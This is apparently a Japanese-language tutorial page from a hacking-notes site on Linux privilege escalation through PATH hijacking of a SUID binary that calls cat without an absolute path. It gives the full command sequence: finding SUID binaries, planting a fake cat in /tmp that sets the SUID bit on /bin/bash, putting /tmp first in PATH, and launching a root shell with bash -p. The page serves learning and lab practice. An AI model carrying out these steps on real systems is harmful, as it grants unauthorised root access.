> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation-1.md).
# PATH ハイジャック（cat）- Linux 権限昇格
絶対パスを使わずに cat を呼び出す特権バイナリを悪用する。
## それは何か
PATHハイジャックは、絶対パスなしでコマンドを呼び出す特権バイナリに影響します。攻撃者がそれより前のディレクトリを制御している場合 `PATH`、プロセスは攻撃者の置き換えコマンドを実行できます。
この例は、次を実行するSUIDバイナリを対象にしています `cat /proc/cpuinfo`.
## 列挙
SUIDバイナリを特定し、次に文字列を調べて未修飾コマンドを確認します:
```bash
find / -perm -4000 -type f 2>/dev/null
strings /bin/sysinfo
```
関連する呼び出しは `cat /proc/cpuinfo`。なぜなら `cat` には絶対パスがないため、システムはそれを次を通して解決します `PATH`.
## 悪用
置き換え用のものを作成します `cat` 書き込み可能なディレクトリに:
```bash
cat > /tmp/cat <<'EOF'
#!/bin/bash
chmod 4777 /bin/bash
EOF
chmod +x /tmp/cat
```
配置します `/tmp` を最初に `PATH` 置き、SUIDバイナリを実行します:
```bash
export PATH=/tmp:$PATH
/bin/sysinfo
```
置き換えたものは、次のSUIDビットを設定します `/bin/bash`。実効UIDを保持したままBashを起動します:
```bash
/bin/bash -p
```
権限昇格したシェルを確認します:
```bash
id
```
---
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